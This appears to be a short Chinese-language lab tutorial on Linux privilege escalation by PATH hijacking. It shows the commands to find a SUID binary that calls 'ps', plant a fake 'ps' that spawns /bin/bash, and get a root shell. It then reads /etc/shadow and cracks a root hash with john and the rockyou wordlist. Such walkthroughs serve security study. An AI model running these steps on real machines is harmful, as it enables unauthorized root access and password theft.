环境变量劫持提权
PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
环境劫持需要的两个条件 存在带有suid的文件suid文件存在系统命令
且这个文件中必须有系统命令,这样我们就可以命名一个和这个系统命令相同的文件写入/bin/bash;
再将存放这个文件的路径加入环境变量中,当系统去执行这个带有系统命令的文件时;就会直接执行我们命名和这个系统命令相同的文件;而非真实的系统命令;从而实现劫持环境变量提权。
寻找suid文件
find / -perm -u=s -type f 2>/dev/null
/script/shell
PID TTY TIME CMD
2666 pts/1 00:00:00 shell
2667 pts/1 00:00:00 sh
2668 pts/1 00:00:00 ps
xxd /script/shell |grep ps
知道调用了什么命令,我们就可以创建一个 ps
文件,内容为执行 /bin/bash
并将自建ps
文件所在目录加入到环境变量中,当再执行/script/shell
时,系统会在环境变量中依次查找
并首先查找并执行到我们自建的ps
文件,从而返回一个带有root的shell,而非原本的查看进程
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
export PATH=/tmp:$PATH
echo $PATH
/script/shell
john爆破root密文
cat /etc/shadow
root:$6$URZ1c7qW$z5jZA6/j9fb8d4ExJOWuwCjEFo0tfBkfV.D3OIf0c0ukepcZYgrBhO6vjpNbmYct1uco9NrtBw3z50tCoMbqb1:18907:0:99999:7:::
gzip -d /usr/share/wordlists/rockyou.txt.gz
john --wordlist="/usr/share/wordlists/rockyou.txt" userpasswd